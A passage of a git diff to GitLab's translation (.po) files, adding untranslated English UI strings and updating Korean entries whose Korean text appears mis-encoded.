+msgid "group members"
+msgstr ""
+
+msgid "groups"
+msgstr ""
+
+msgid "has already been linked to another vulnerability"
+msgstr ""
+
+msgid "has already been taken"
+msgstr ""
+
+msgid "help"
+msgstr ""
+
+msgid "http:"
+msgstr ""
+
+msgid "https://your-bitbucket-server"
+msgstr ""
+
+msgid "image diff"
+msgstr ""
+
+msgid "impersonation token"
+msgstr ""
+
+msgid "impersonation tokens"
+msgstr ""
+
+msgid "import flow"
+msgstr ""
+
+msgid "importing"
+msgstr ""
+
+msgid "in group %{link_to_group}"
+msgstr ""
+
+msgid "in project %{link_to_project}"
+msgstr ""
+
+msgid "instance completed"
+msgid_plural "instances completed"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "invalid milestone state `%{state}`"
+msgstr ""
+
+msgid "is"
+msgstr ""
+
+msgid "is already associated to a GitLab Issue. New issue will not be associated."
+msgstr ""
+
+msgid "is an invalid IP address range"
+msgstr ""
+
+msgid "is blocked by"
+msgstr ""
+
+msgid "is enabled."
+msgstr ""
+
+msgid "is invalid because there is downstream lock"
+msgstr ""
+
+msgid "is invalid because there is upstream lock"
+msgstr ""
+
+msgid "is not"
+msgstr ""
+
+msgid "is not a descendant of the Group owning the template"
+msgstr ""
+
+msgid "is not a valid X509 certificate."
+msgstr ""
+
+msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
+msgstr ""
+
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
+msgid "is not an email you own"
+msgstr ""
+
+msgid "is not in the group enforcing Group Managed Account"
+msgstr ""
+
+msgid "is read only"
+msgstr ""
+
+msgid "is too long (%{current_value}). The maximum size is %{max_size}."
+msgstr ""
+
+msgid "is too long (maximum is 100 entries)"
+msgstr ""
+
+msgid "is too long (maximum is 1000 entries)"
+msgstr ""
+
+msgid "issue"
+msgstr ""
+
+msgid "issues at risk"
+msgstr ""
+
+msgid "issues need attention"
+msgstr ""
+
+msgid "issues on track"
+msgstr ""
+
+msgid "it is larger than %{limit}"
+msgstr ""
+
+msgid "it is stored as a job artifact"
+msgstr ""
+
+msgid "it is stored externally"
+msgstr ""
+
+msgid "it is stored in LFS"
+msgstr ""
+
+msgid "it is too large"
+msgstr ""
+
+msgid "jigsaw is not defined"
+msgstr ""
+
+msgid "last commit:"
+msgstr ""
+
+msgid "latest"
+msgstr ""
+
+msgid "latest deployment"
+msgstr ""
+
+msgid "latest version"
+msgstr ""
+
+msgid "leave %{group_name}"
+msgstr ""
+
+msgid "less than a minute"
+msgstr ""
+
+msgid "level: %{level}"
+msgstr ""
+
+msgid "limit of %{project_limit} reached"
+msgstr ""
+
+msgid "load it anyway"
+msgstr ""
+
+msgid "loading"
+msgstr ""
+
+msgid "locked"
+msgstr ""
+
+msgid "locked by %{path_lock_user_name} %{created_at}"
+msgstr ""
+
+msgid "log in"
+msgstr ""
+
+msgid "manual"
+msgstr ""
+
+msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgstr ""
+
+msgid "math|There was an error rendering this math block"
+msgstr ""
+
+msgid "merge request"
+msgid_plural "merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "merged %{timeAgo}"
+msgstr ""
+
+msgid "metric_id must be unique across a project"
+msgstr ""
+
+msgid "missing"
+msgstr ""
+
+msgid "most recent deployment"
+msgstr ""
+
+msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgstr ""
+
+msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgstr ""
+
+msgid "mrWidgetCommitsAdded|1 merge commit"
+msgstr ""
+
+msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
+msgstr ""
+
+msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgstr ""
+
+msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgstr ""
+
+msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
+msgstr ""
+
+msgid "mrWidget|%{link_start}Learn more about resolving conflicts%{link_end}"
+msgstr ""
+
+msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage %{emphasisStart} decreased %{emphasisEnd} from %{memoryFrom}MB to %{memoryTo}MB"
+msgstr ""
+
+msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage %{emphasisStart} increased %{emphasisEnd} from %{memoryFrom}MB to %{memoryTo}MB"
+msgstr ""
+
+msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
+msgstr ""
+
+msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
+msgstr ""
+
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
+msgid "mrWidget|Added to the merge train by"
+msgstr ""
+
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
+msgid "mrWidget|Allows commits from members who can merge to the target branch"
+msgstr ""
+
+msgid "mrWidget|An error occurred while removing your approval."
+msgstr ""
+
+msgid "mrWidget|An error occurred while retrieving approval data for this merge request."
+msgstr ""
+
+msgid "mrWidget|An error occurred while submitting your approval."
+msgstr ""
+
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
+msgid "mrWidget|Approval password is invalid."
+msgstr ""
+
+msgid "mrWidget|Approve"
+msgstr ""
+
+msgid "mrWidget|Approve additionally"
+msgstr ""
+
+msgid "mrWidget|Approved by"
+msgstr ""
+
+msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
+msgstr ""
+
+msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
+msgstr ""
+
+msgid "mrWidget|Cancel automatic merge"
+msgstr ""
+
+msgid "mrWidget|Check out branch"
+msgstr ""
+
+msgid "mrWidget|Checking if merge request can be merged…"
+msgstr ""
+
+msgid "mrWidget|Cherry-pick"
+msgstr ""
+
+msgid "mrWidget|Cherry-pick this merge request in a new merge request"
+msgstr ""
+
+msgid "mrWidget|Closed"
+msgstr ""
+
+msgid "mrWidget|Closed by"
+msgstr ""
+
+msgid "mrWidget|Closes"
+msgstr ""
+
+msgid "mrWidget|Delete source branch"
+msgstr ""
+
+msgid "mrWidget|Deployment statistics are not available currently"
+msgstr ""
+
+msgid "mrWidget|Did not close"
+msgstr ""
+
+msgid "mrWidget|Email patches"
+msgstr ""
+
+msgid "mrWidget|Failed to load deployment statistics"
+msgstr ""
+
+msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
+msgstr ""
+
+msgid "mrWidget|Fork merge requests do not create merge request pipelines which validate a post merge result"
+msgstr ""
+
+msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
+msgstr ""
+
+msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
+msgstr ""
+
+msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
+msgstr ""
+
+msgid "mrWidget|Jump to first unresolved thread"
+msgstr ""
+
+msgid "mrWidget|Loading deployment statistics"
+msgstr ""
+
+msgid "mrWidget|Mark as ready"
+msgstr ""
+
+msgid "mrWidget|Mentions"
+msgstr ""
+
+msgid "mrWidget|Merge"
+msgstr ""
+
+msgid "mrWidget|Merge failed."
+msgstr ""
+
+msgid "mrWidget|Merge failed: %{mergeError}. Please try again."
+msgstr ""
+
+msgid "mrWidget|Merge locally"
+msgstr ""
+
+msgid "mrWidget|Merge request approved."
+msgstr ""
+
+msgid "mrWidget|Merged by"
+msgstr ""
+
+msgid "mrWidget|More information"
+msgstr ""
+
+msgid "mrWidget|Open in Web IDE"
+msgstr ""
+
+msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
+msgstr ""
+
+msgid "mrWidget|Plain diff"
+msgstr ""
+
+msgid "mrWidget|Ready to be merged automatically. Ask someone with write access to this repository to merge this request"
+msgstr ""
+
+msgid "mrWidget|Refresh"
+msgstr ""
+
+msgid "mrWidget|Refresh now"
+msgstr ""
+
+msgid "mrWidget|Refreshing now"
+msgstr ""
+
+msgid "mrWidget|Remove from merge train"
+msgstr ""
+
+msgid "mrWidget|Request to merge"
+msgstr ""
+
+msgid "mrWidget|Resolve all threads in new issue"
+msgstr ""
+
+msgid "mrWidget|Resolve conflicts"
+msgstr ""
+
+msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
+msgstr ""
+
+msgid "mrWidget|Revert"
+msgstr ""
+
+msgid "mrWidget|Revert this merge request in a new merge request"
+msgstr ""
+
+msgid "mrWidget|Revoke approval"
+msgstr ""
+
+msgid "mrWidget|Set by"
+msgstr ""
+
+msgid "mrWidget|The changes were merged into"
+msgstr ""
+
+msgid "mrWidget|The changes were not merged into"
+msgstr ""
+
+msgid "mrWidget|The changes will be merged into"
+msgstr ""
+
+msgid "mrWidget|The pipeline for this merge request failed. Please retry the job or push a new commit to fix the failure"
+msgstr ""
+
+msgid "mrWidget|The source branch HEAD has recently changed. Please reload the page and review the changes before merging"
+msgstr ""
+
+msgid "mrWidget|The source branch has been deleted"
+msgstr ""
+
+msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgstr ""
+
+msgid "mrWidget|The source branch is being deleted"
+msgstr ""
+
+msgid "mrWidget|The source branch will be deleted"
+msgstr ""
+
+msgid "mrWidget|The source branch will not be deleted"
+msgstr ""
+
+msgid "mrWidget|There are merge conflicts"
+msgstr ""
+
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
+msgstr ""
+
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
+msgstr ""
+
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgstr ""
+
+msgid "mrWidget|This merge request failed to be merged automatically"
+msgstr ""
+
+msgid "mrWidget|This merge request is in the process of being merged"
+msgstr ""
+
+msgid "mrWidget|This project is archived, write access has been disabled"
+msgstr ""
+
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgstr ""
+
+msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgstr ""
+
+msgid "mrWidget|You are not allowed to edit this project directly. Please fork to make changes."
+msgstr ""
+
+msgid "mrWidget|You can delete the source branch now"
+msgstr ""
+
+msgid "mrWidget|You can merge after removing denied licenses"
+msgstr ""
+
+msgid "mrWidget|You can merge this merge request manually using the"
+msgstr ""
+
+msgid "mrWidget|Your password"
+msgstr ""
+
+msgid "mrWidget|branch does not exist."
+msgstr ""
+
+msgid "mrWidget|command line"
+msgstr ""
+
+msgid "mrWidget|into"
+msgstr ""
+
+msgid "mrWidget|to be added to the merge train when the pipeline succeeds"
+msgstr ""
+
+msgid "mrWidget|to be merged automatically when the pipeline succeeds"
+msgstr ""
+
+msgid "mrWidget|to start a merge train when the pipeline succeeds"
+msgstr ""
+
+msgid "must be a root namespace"
+msgstr ""
+
+msgid "must be greater than start date"
+msgstr ""
+
+msgid "must contain only valid frameworks"
+msgstr ""
+
+msgid "my-awesome-group"
+msgstr ""
+
+msgid "n/a"
+msgstr ""
+
+msgid "need attention"
+msgstr ""
+
+msgid "needs to be between 10 minutes and 1 month"
+msgstr ""
+
+msgid "never"
+msgstr ""
+
+msgid "never expires"
+msgstr ""
+
+msgid "new merge request"
+msgstr ""
+
+msgid "no approvers"
+msgstr ""
+
+msgid "no contributions"
+msgstr ""
+
+msgid "no expiration"
+msgstr ""
+
+msgid "no one can merge"
+msgstr ""
+
+msgid "none"
+msgstr ""
+
+msgid "not found"
+msgstr ""
+
+msgid "notification emails"
+msgstr ""
+
+msgid "nounSeries|%{firstItem} and %{lastItem}"
+msgstr ""
+
+msgid "nounSeries|%{item}"
+msgstr ""
+
+msgid "nounSeries|%{item}, %{nextItem}"
+msgstr ""
+
+msgid "nounSeries|%{item}, and %{lastItem}"
+msgstr ""
+
+msgid "on track"
+msgstr ""
+
+msgid "open issue"
+msgstr ""
+
+msgid "opened %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "opened %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
+msgid "opened %{timeAgo}"
+msgstr ""
+
+msgid "or"
+msgstr ""
+
+msgid "out of %d total test"
+msgid_plural "out of %d total tests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "parent"
+msgid_plural "parents"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "password"
+msgstr ""
+
+msgid "paused"
+msgstr ""
+
+msgid "pending comment"
+msgstr ""
+
+msgid "pending removal"
+msgstr ""
+
+msgid "per day"
+msgstr ""
+
+msgid "personal access token"
+msgstr ""
+
+msgid "personal access tokens"
+msgstr ""
+
+msgid "pipeline"
+msgstr ""
+
+msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
+msgstr ""
+
+msgid "pod_name cannot be larger than %{max_length} chars"
+msgstr ""
+
+msgid "point"
+msgid_plural "points"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "private"
+msgstr ""
+
+msgid "private key does not match certificate."
+msgstr ""
+
+msgid "processing"
+msgstr ""
+
+msgid "project"
+msgid_plural "projects"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "project access token"
+msgstr ""
+
+msgid "project access tokens"
+msgstr ""
+
+msgid "project avatar"
+msgstr ""
+
+msgid "project bots cannot be added to other groups / projects"
+msgstr ""
+
+msgid "project is read-only"
+msgstr ""
+
+msgid "project members"
+msgstr ""
+
+msgid "projects"
+msgstr ""
+
+msgid "push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
+msgstr ""
+
+msgid "quick actions"
+msgstr ""
+
+msgid "recent activity"
+msgstr ""
+
+msgid "register"
+msgstr ""
+
+msgid "relates to"
+msgstr ""
+
+msgid "released %{time}"
+msgstr ""
+
+msgid "remaining"
+msgstr ""
+
+msgid "remove"
+msgstr ""
+
+msgid "remove due date"
+msgstr ""
+
+msgid "remove weight"
+msgstr ""
+
+msgid "removed a Zoom call from this issue"
+msgstr ""
+
+msgid "rendered diff"
+msgstr ""
+
+msgid "reply"
+msgid_plural "replies"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "repository:"
+msgstr ""
+
+msgid "reset it."
+msgstr ""
+
+msgid "revised"
+msgstr ""
+
+msgid "satisfied"
+msgstr ""
+
+msgid "security Reports|There was an error creating the merge request"
+msgstr ""
+
+msgid "settings saved, but not activated"
+msgstr ""
+
+msgid "severity|Critical"
+msgstr ""
+
+msgid "severity|High"
+msgstr ""
+
+msgid "severity|Info"
+msgstr ""
+
+msgid "severity|Low"
+msgstr ""
+
+msgid "severity|Medium"
+msgstr ""
+
+msgid "severity|None"
+msgstr ""
+
+msgid "severity|Unknown"
+msgstr ""
+
+msgid "should be an array of %{object_name} objects"
+msgstr ""
+
+msgid "should be greater than or equal to %{access} inherited membership from group %{group_name}"
+msgstr ""
+
+msgid "show %{count} more"
+msgstr ""
+
+msgid "show fewer"
+msgstr ""
+
+msgid "show less"
+msgstr ""
+
+msgid "sign in"
+msgstr ""
+
+msgid "sort:"
+msgstr ""
+
+msgid "source"
+msgstr ""
+
+msgid "source diff"
+msgstr ""
+
+msgid "specific"
+msgstr ""
+
+msgid "specified top is not part of the tree"
+msgstr ""
+
+msgid "spendCommand|%{slash_command} will update the sum of the time spent."
+msgstr ""
+
+msgid "ssh:"
+msgstr ""
+
+msgid "started"
+msgstr ""
+
+msgid "started a discussion on %{design_link}"
+msgstr ""
+
+msgid "started on %{timebox_start_date}"
+msgstr ""
+
+msgid "starts on %{timebox_start_date}"
+msgstr ""
+
+msgid "stuck"
+msgstr ""
+
+msgid "success"
+msgstr ""
+
+msgid "suggestPipeline|1/2: Choose a template"
+msgstr ""
+
+msgid "suggestPipeline|2/2: Commit your changes"
+msgstr ""
+
+msgid "suggestPipeline|Choose %{boldStart}Code Quality%{boldEnd} to add a pipeline that tests the quality of your code."
+msgstr ""
+
+msgid "suggestPipeline|The template is ready! You can now commit it to create your first pipeline."
+msgstr ""
+
+msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
+msgstr ""
+
+msgid "syntax is correct"
+msgstr ""
+
+msgid "syntax is incorrect"
+msgstr ""
+
+msgid "tag name"
+msgstr ""
+
+msgid "teammate%{number}@company.com"
+msgstr ""
+
+msgid "the following issue(s)"
+msgstr ""
+
+msgid "this document"
+msgstr ""
+
+msgid "time summary"
+msgstr ""
+
+msgid "to help your contributors communicate effectively!"
+msgstr ""
+
+msgid "to join %{source_name}"
+msgstr ""
+
+msgid "to list"
+msgstr ""
+
+msgid "toggle collapse"
+msgstr ""
+
+msgid "toggle dropdown"
+msgstr ""
+
+msgid "triggered"
+msgstr ""
+
+msgid "two-factor authentication settings"
+msgstr ""
+
+msgid "unicode domains should use IDNA encoding"
+msgstr ""
+
+msgid "updated"
+msgstr ""
+
+msgid "updated %{timeAgo}"
+msgstr ""
+
+msgid "updated %{time_ago}"
+msgstr ""
+
+msgid "uploaded"
+msgstr ""
+
+msgid "uploads"
+msgstr ""
+
+msgid "user avatar"
+msgstr ""
+
+msgid "username"
+msgstr ""
+
+msgid "uses Kubernetes clusters to deploy your code!"
+msgstr ""
+
+msgid "v%{version} published %{timeAgo}"
+msgstr ""
+
+msgid "verify ownership"
+msgstr ""
+
+msgid "version %{versionIndex}"
+msgstr ""
+
+msgid "via %{closed_via}"
+msgstr ""
+
+msgid "via merge request %{link}"
+msgstr ""
+
+msgid "view it on GitLab"
+msgstr ""
+
+msgid "view the blob"
+msgstr ""
+
+msgid "view the source"
+msgstr ""
+
+msgid "vulnerability|Add a comment"
+msgstr ""
+
+msgid "vulnerability|Add a comment or reason for dismissal"
+msgstr ""
+
+msgid "vulnerability|Add comment"
+msgstr ""
+
+msgid "vulnerability|Add comment & dismiss"
+msgstr ""
+
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
+msgid "vulnerability|Dismiss vulnerability"
+msgstr ""
+
+msgid "vulnerability|Save comment"
+msgstr ""
+
+msgid "vulnerability|Undo dismiss"
+msgstr ""
+
+msgid "vulnerability|dismissed"
+msgstr ""
+
+msgid "was scheduled to merge after pipeline succeeds by"
+msgstr ""
+
+msgid "wiki page"
+msgstr ""
+
+msgid "will be released %{time}"
+msgstr ""
+
+msgid "with %{additions} additions, %{deletions} deletions."
+msgstr ""
+
+msgid "with expiry changing from %{old_expiry} to %{new_expiry}"
+msgstr ""
+
+msgid "with expiry remaining unchanged at %{old_expiry}"
+msgstr ""
+
+msgid "yaml invalid"
+msgstr ""
+
diff --git a/locale/ko/gitlab.po b/locale/ko/gitlab.po
index df295ffdd49..76aa839787b 100644
--- a/locale/ko/gitlab.po
+++ b/locale/ko/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ko\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:46\n"
+"PO-Revision-Date: 2020-09-04 23:08\n"
msgid " %{start} to %{end}"
msgstr " %{start}부터 %{end}까지"
@@ -54,14 +54,14 @@ msgstr[0] " %d í¬ì¸íŠ¸ í–¥ìƒ"
msgid " or "
msgstr " ë˜ëŠ” "
-msgid " or <!merge request id>"
-msgstr " ë˜ëŠ” <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
+msgstr ""
-msgid " or <#issue id>"
-msgstr " ë˜ëŠ” <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
+msgstr ""
-msgid " or <&epic id>"
-msgstr " ë˜ëŠ” <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
+msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
msgstr " ë˜ëŠ” 참조 (예: path/to/project!merge_request_id)"
@@ -69,6 +69,9 @@ msgstr " ë˜ëŠ” 참조 (예: path/to/project!merge_request_id)"
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr "\"%{path}\"는 \"%{ref}\"ì— ì¡´ìž¬í•˜ì§€ 않습니다"
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -251,6 +254,9 @@ msgstr[0] "%s 추가 ì»¤ë°‹ì€ ì„±ëŠ¥ ì´ìŠˆë¥¼ 방지하기 위해 ìƒëžµë˜ì—ˆ
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr "%{actionText} & %{openOrClose} %{noteable}"
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -287,6 +293,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr "%{cores} 코어"
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr "%{count}ê°œì˜ LOC ë˜ëŠ” 커밋"
@@ -339,6 +348,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr "%{description}- Sentry ì´ë²¤íŠ¸: %{errorUrl}- 첫 발견 시간: %{firstSeen}- 마지막 발견 시간: %{lastSeen}%{countLabel}: %{count}%{userCountLabel}: %{userCount}"
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr "%{duration}ms"
@@ -366,8 +378,8 @@ msgstr "%{firstLabel} +%{labelCount} ë”보기"
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr "%{firstMilestoneName} + %{numberOfOtherMilestones}ê°œ ë” ìžˆìŒ"
-msgid "%{global_id} is not a valid id for %{expected_type}."
-msgstr "%{global_id}(ì€)는 %{expected_type}ì˜ ìœ íš¨í•œ IDê°€ 아닙니다."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
+msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
msgstr "%{group_docs_link_start}그룹%{group_docs_link_end}ì„ ì‚¬ìš©í•˜ë©´ 여러 프로ì íŠ¸ë¥¼ 관리하고 ê³µë™ ìž‘ì—…ì„ ìˆ˜í–‰ í•  수 있습니다. 그룹 회ì›ì€ 모든 프로ì íŠ¸ì— 액세스 í•  수 있습니다."
@@ -453,9 +465,6 @@ msgstr "%{group_level_name} 그룹ì—는 %{level_name} ì´ í—ˆìš©ë˜ì§€ 않습ë‹
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr "Forkí•œ ì›ë³¸ 프로ì íŠ¸ê°€ ë” ë‚®ì€ ê³µê°œ 수준으로 설정ë˜ì–´ 있으므로 %{level_name} ìˆ˜ì¤€ì´ í—ˆìš©ë˜ì§€ 않습니다."
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -474,6 +483,9 @@ msgstr "%{listToShow}, 그리고 %{awardsListLength}ê°œ ë” ìžˆìŒ"
msgid "%{loadingIcon} Started"
msgstr "%{loadingIcon} 시작ë¨"
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr "%{lock_path} 경로는 GitLab User %{lock_user_id} ì— ì˜í•´ 잠겼습니다."
@@ -483,6 +495,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr "%{mergeLength}/%{usersLength} 머지 가능"
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr "%{mrText}, ì´ ì´ìŠˆëŠ” ìžë™ìœ¼ë¡œ í´ë¡œì¦ˆ ë©ë‹ˆë‹¤."
@@ -590,6 +614,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -613,6 +640,9 @@ msgstr "%{size} MiB"
msgid "%{size} bytes"
msgstr "%{size} bytes"
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr "%{spammable_titlecase} (ì´)ê°€ Akismetì— ì„±ê³µì ìœ¼ë¡œ 제출ë˜ì—ˆìŠµë‹ˆë‹¤."
@@ -628,6 +658,9 @@ msgstr "%{start}부터 %{end}까지"
msgid "%{state} epics"
msgstr "%{state} ì—픽"
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -696,6 +729,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -729,6 +765,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -738,7 +777,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -781,6 +835,9 @@ msgstr "(외부 소스)"
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr "(ì‚­ì œë¨)"
@@ -961,15 +1018,6 @@ msgstr "8 시간"
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr "< 1시간"
-
-msgid "<project name>"
-msgstr "<프로ì íŠ¸ ì´ë¦„>"
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr "소스 브랜치 <strong>삭제</strong>"
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr "'러너(Runner)'는 ìž‘ì—…ì„ ì‹¤í–‰í•˜ëŠ” 프로세스입니다. 필요한 ë§Œí¼ ëŸ¬ë„ˆë¥¼ ì…‹ì—…í•  수 있습니다."
@@ -1033,8 +1081,8 @@ msgstr "사ì´ë²„ í­ë ¥ ë°©ì§€íŒ€ì´ ìµœëŒ€í•œ 빨리 ê·€í•˜ì˜ ë¦¬í¬íŠ¸ë¥¼ ê²
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr "보안 ë³´ê³ ì„œì— ì•Œë ¤ì§€ì§€ 않았거나, 높거나 ë˜ëŠ” 심ê°í•œ 취약ì ì´ 있는 경우, 머지 요청 승ì¸ì´ 필요합니다."
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
-msgstr "ë¼ì´ì„¼ìŠ¤ 준수 ë³´ê³ ì— ë¸”ëž™ë¦¬ìŠ¤íŠ¸ëœ ë¼ì´ì„¼ìŠ¤ê°€ í¬í•¨ëœ 경우, 머지 요청 승ì¸ì´ 필요합니다."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
+msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
msgstr "새로운 Auto DevOps 파ì´í”„ë¼ì¸ì´ ìƒì„±ë˜ì—ˆìŠµë‹ˆë‹¤. %{pipelines_link_start}파ì´í”„ë¼ì¸ 페ì´ì§€%{pipelines_link_end}ë¡œ ì´ë™í•˜ì—¬ ìžì„¸ížˆ 알아보세요."
@@ -1051,6 +1099,9 @@ msgstr "í¬í¬ì™€ 새 머지 리퀘스트(MR)ê°€ 시작ë˜ë©´ 새로운 브랜ì¹
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
